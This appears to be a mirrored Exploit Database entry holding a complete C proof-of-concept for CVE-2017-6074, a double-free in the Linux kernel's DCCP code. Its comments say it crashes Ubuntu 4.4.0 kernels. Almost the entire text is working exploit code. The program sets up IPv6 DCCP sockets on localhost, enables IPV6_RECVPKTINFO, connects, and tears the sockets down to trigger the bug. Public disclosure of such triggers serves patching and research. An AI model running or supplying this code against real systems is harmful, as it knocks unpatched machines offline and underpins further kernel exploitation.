Linux Kernel 4.4.0 (Ubuntu) – DCCP Double-Free (PoC)

• Exploit Database
• 24 阅读

• 作者： Andrey Konovalov
  日期： 2017-02-26
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/41457/

• //
  // EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
  //
  // A trigger for CVE-2017-6074, crashes kernel.
  // Tested on 4.4.0-62-generic #83-Ubuntu kernel.
  // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
  //
  // Andrey Konovalov <andreyknvl@gmail.com>
  
  #define _GNU_SOURCE
  
  #include <netinet/ip.h>
  
  #include <sys/ioctl.h>
  #include <sys/mman.h>
  #include <sys/socket.h>
  #include <sys/stat.h>
  #include <sys/syscall.h>
  #include <sys/types.h>
  
  #include <stdarg.h>
  #include <stdbool.h>
  #include <stddef.h>
  #include <stdint.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  
  #include <arpa/inet.h>
  
  int main() {
  	struct sockaddr_in6 sa1;
  	sa1.sin6_family = AF_INET6;
  	sa1.sin6_port = htons(20002);
  	inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
  	sa1.sin6_flowinfo = 0;
  	sa1.sin6_scope_id = 0;
  		
  	int optval = 8;
  
  	int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  	bind(s1, &sa1, 0x20);
  	listen(s1, 0x9);
  
  	setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);
  
  	int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  	connect(s2, &sa1, 0x20);
  
  	shutdown(s1, SHUT_RDWR);
  	close(s1);
  	shutdown(s2, SHUT_RDWR);
  	close(s2);
  
  	return 0;
  }